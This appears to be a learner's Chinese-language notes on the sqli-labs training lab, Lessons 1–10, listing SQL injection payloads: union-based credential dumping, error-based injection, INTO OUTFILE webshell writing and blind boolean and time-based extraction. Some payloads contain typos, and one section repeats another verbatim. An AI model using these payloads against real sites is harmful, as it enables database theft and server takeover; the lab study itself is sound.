LESS-1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
输入' 后报错 ''1'' limit 0,1'
所以加'' 显示正常界面,由此得出正常的sql语句
?id=1' order by 3 --+ 使用二分法尝试
?id=-1' union select 1,2,3 --+ 得出所在位置
?id=-1' union select 1,user(),database() --+ 查看用户,当前数据库 version()查看版本
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(information_schema是个逻辑数据库,可以查看所有的表名,列名。)
得出当前数据库的的所有表名
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
得出users表的所有列名
(我的出的结果有两遍的id username password,因为我还有其他的数据库的表名是 users)
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
(0x3a 转义过来是分号,也可以用数字代替)
为什么不用concat
concat只能显示出一组数据
group_concat能显示所有数据
group_concat与group by一般连用
因为注入中不需要讲数据按照某条件分组,直接全部输出就即可,所以直接用group_concat无须group by
整体解释
union select的两个select要求查询的列数相同,所以要用order by 判断字段 所以order by 时前面的ID必须是正确的
union select 的ID因为 union查询可以有一个无查询结果,显然需要让数据库本身那个查询无结果,后面的select 就可以得出构造语句的结果
如果使用正确ID则只能返回一个结果
???为什么使用正确ID还能返回一个结果,不应该是全部返回嘛 、
因为使用正确ID后,他在数据库中分别在username和password中得出结果
如果是错误ID,则他仅仅在username中爆出内容
LESS-2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
没有加单引号的注释
输入单引号后报错 use near '' LIMIT 0,1' at line 1
?id=1 order by 3
?id=0 union select 1,2,3
?id=0 union select 1,version(),database()
?id=0 union select 1,group_concat(table_name),3 from infomation_schema.tables where table_schema=database() --+
?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+
?id=0 union select 1,group_concat(username,0x3a,password),3 from users --+
与sqli1的区别就是可以不加后面的注释,因为源码就无须注释掉后面的单引号
LESS-3
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
?id=1')('
报错 use near '('') LIMIT 0,1' at line 1 因为只有一个id呀如果中间加一个or则不会报错。
使用 ' 报错 ''1'') LIMIT 0,1' at line 1
常规步骤
?id=1') order by 3 --+
?id =0') union select 1,2,3 --+
?id=0') union select 1,version(),database() --+
?id =0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
?id =0') union select 1,group_concat(column_name),3 from
information _schema.columns where table_name ='users' --+
?id=0') union select 1,group_concat(username,0x3a,password),3 from users --+
需要注释,并且闭合 是 ')
LESS-4
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
输入' 后报错 ''1'' limit 0,1'
所以加'' 显示正常界面,由此得出正常的sql语句
?id=1' order by 3 --+ 使用二分法尝试
?id=-1' union select 1,2,3 --+ 得出所在位置
?id=-1' union select 1,user(),database() --+ 查看用户,当前数据库 version()查看版本
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
(information_schema是个逻辑数据库,可以查看所有的表名,列名。)
得出当前数据库的的所有表名
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
得出users表的所有列名
(我的出的结果有两遍的id username password,因为我还有其他的数据库的表名是 users)
?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+
(0x3a 转义过来是分号,也可以用数字代替)
为什么不用concat
concat只能显示出一组数据
group_concat能显示所有数据
group_concat与group by一般连用
因为注入中不需要讲数据按照某条件分组,直接全部输出就即可,所以直接用group_concat无须group by
整体解释
union select的两个select要求查询的列数相同,所以要用order by 判断字段 所以order by 时前面的ID必须是正确的
union select 的ID因为 union查询可以有一个无查询结果,显然需要让数据库本身那个查询无结果,后面的select 就可以得出构造语句的结果
如果使用正确ID则只能返回一个结果
???为什么使用正确ID还能返回一个结果,不应该是全部返回嘛 、
因为使用正确ID后,他在数据库中分别在username和password中得出结果
如果是错误ID,则他仅仅在username中爆出内容
LESS-5
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
输入单引号 报错 ''1'' LIMIT 0,1'
明显是个单引号注入
但是正确界面是没有显示位,所以将报错的重心放在报错的语句上
原理:虚拟表主键冲突
模板
select count(*),concat( , floor(rand(0)*2))x group by x
?id=0 order by 5 --+ 判断字段
?id=0 union select 1,2,3 发现无回显位
?id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),database(),user())),floor(rand(0)*2))x from information_schema.tables group by x)a --+
?id=0' union select 1,2,3 from(select count(*),concat ((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
此处不可以使用group_concat
如果不加limit则会报错 Subquery returns more than 1 row
所以要限制limt 直到完成
?id=0' union select 1,2,3 from (select count(*),concat((select concat(username,password)from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
结果 Duplicate entry 'Dumbadmin1' for key 'group_key'
中的数字1是count(*)产生的
中间可以加0x3a等符号分隔,为了简洁没有加
要点
必须取别名,因为建立的虚表必须要别名(规定)
floor(0)*2是一个假随机 01101100.....
可以自行去试试rand(),全是小数,所以floor(rand(0)*2),总结出来的假随机规律,方便报错,如果rand()则可能需要实验很多次
要加LIMIT限制,否则可能无法得出
虚表讲解
首先明白
1 rand()函数查询的时候会被计算多次,在这种情况下计算两次
2 group by 会去一行一行扫描原始表,如果存在就插入,把count(*)置为1
如果已经存在,在原来count(*)基础上+1
select count(*),concat('aa' , floor(rand(0)*2))x group by x
建立有两列的虚拟表 01101100.....
count(*) concat
1 1aa
2 1aa
扫描第一项
第一次计算 rand()为0,扫描整个虚拟表发现没有,插入时再计算一次rand()为1,所以 1aa
(也就是说group by x时计算一次,然后select时又计算一次)
扫描第二项
第一次计算rand()为1,扫描整个虚拟表,发现有所有count(*) 加1
扫描第三项
第一次计算rand()为0,扫描整个虚拟表发现没有,则准备插入,这时为1aa,但是已经存在了主键为1aa的数据项,所以插入失败,所以就会报错。
https://cloud.tencent.com/developer/news/238627
https://www.jianshu.com/p/3080b071503c?tdsourcetag=s_pcqq_aiomsg
这是关于虚拟表的建立的讲解
如有侵权,请联系。
LESS-6
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
同sqli5
单引号'尝试 反斜杠\尝试 报错 '"1\" LIMIT 0,1'
?id=1 order by x --+判断字段
?id=0" union select 1,2,3 from (select count(*),concat((select concat(version(),database(),user())),floor(rand(0)*2))x from information_schema.tables group by x)a --+
?id=0" union select 1,2,3 from(select count(*),concat ((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
?id=0" union select 1,2,3 from (select count(*),concat((select concat(username,password)from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
就是单引号改成双引号
LESS-7
使用sqli1做实验
能够读文件的前提
1.用户有足够权限
2.secure_file_priv=
=后面打一个空格,该配置文件在musql.ini 中
如何查看是否为空 show global variables like "secure_file_priv";
?id=0' union select 1,load_file("E:\\123.txt"),3 --+
Less-7不回显,所以无法读取。
读取文件
正文 写入文件
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
条件:set global general_log = on;
检查:show global variables like "general_log";
进行模糊测试确定语句
条件:输入后报错,加注释后不报错
(不加注释前。只要不涉及到括号闭合,就不会报错)
(路径一定要打对,错了好几遍!)
?id=0')) union select 1,'<?php phpinfo();?>',3 into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+
这里的phpinfo可以改为一句话木马用中国菜刀联结
?id=0')) union select database(),version(), 3 into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.txt' --+
读出相关信息
?id=0')) union select table_name,2,3 from information_schema.tables where table_schema='security' into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\2.txt' --+
得出security数据库的表名
?id=0')) union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\3.txt' --+
得出字段名
?id=0')) union select 1,concat(username,password),3 from security.users into outfile 'E:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\4.txt' --+
或者使用group_concat
LESS-8
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
基于布尔的盲注
原理:正确的信息会返回正确,错误的信息会显示其他界面。
ascii()->将字符转成ascii码形式
substr('abc',1,1) 取字符串abc的a 1,1代表从a开始偏移1一个(a本身也算一个)
?id=1' and length(database())=8 --+
?id=1' and ascii(substr(database(),1,1))=N (这里采用二分法)
?id=1' and ascii(substr((select table_name from infomation_schema.tables where table_schema=database() limit 0,1),2,1)) =N
如果数据库里有多个表
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))= N
同理猜解列和字段值
注意limit和substr(*,x,1)
LESS-9
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
ascii()->将字符转成ascii码形式
substr('abc',1,1) 取字符串abc的a 1,1代表从a开始偏移1一个(a本身也算一个)
if(条件,条件成立执行这个,条件不成立执行这个)
时间盲注,根据系统反应时间来判断字符
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),5) --+
实际情况应该是猜测盲注ascii值
如security的ascii值应该是115,ascii值最高127,所以使用二分法来猜测
直到确定s,改变substr(,1,2)依次确定
注意要改为substr(**2,1)不能改为1,2
确定数据库后
?id=1' and if(ascii(substr((select table_name from infomation_schema.tables where table_schema=database() limit 0,1) ,2,1))=115,sleep(5),5) --+
如果他数据库里有多个表,则应用下面的,一个一个表排查
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1) --+
limit1,1取第二个表,然后.....直到完成
............
下来确定列名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
很显然他有多个列,同理如下
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
确定username字段值
?id=1' and if(ascii(substr(select username from users limit 0,1),1,1)=117,sleep(5),1) --+
时间盲注耗费时间很长。
LESS-10
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
双引号时间盲注
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),5) --+
实际情况应该是猜测盲注ascii值
如security的ascii值应该是115,ascii值最高127,所以使用二分法来猜测
直到确定s,改变substr(,1,2)依次确定
注意要改为substr(**2,1)不能改为1,2
确定数据库后
?id=1" and if(ascii(substr((select table_name from infomation_schema.tables where table_schema=database() limit 0,1) ,2,1))=115,sleep(5),5) --+
如果他数据库里有多个表,则应用下面的,一个一个表排查
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1) --+
limit1,1取第二个表,然后.....直到完成
............
下来确定列名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
很显然他有多个列,同理如下
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
确定username字段值
?id=1" and if(ascii(substr(select username from users limit 0,1),1,1)=117,sleep(5),1) --+
时间盲注耗费时间很长。
要点以及心得
1,上述代码框全部在txt文件中存储,复制后直接黏贴到url框无法使用,必须手打(部分可用)。
原因未知。
2,关于没有回显的注释不够熟练,思考不够。不是很会判断其闭合,希望指教。
3,测试的时候很容易打错 information 少个r 逗号,打成英文句号. ,一定要注意准确性。
4,看某安全视频中仍存在一些错误,如if(a,b,c,) 表示判断条件a,成立执行b,不成立执行c
视频中讲解为如果a成立,则执行c,b为执行次数。
6,后续会持续更新sqli-lab手工注入文档。(因为会进行sqlmap,xss,html5+css3,javascript知识学习,所以更新会比较慢)
7,学习html5+css3,JavaScript是为了更好的学习sql注入和xss。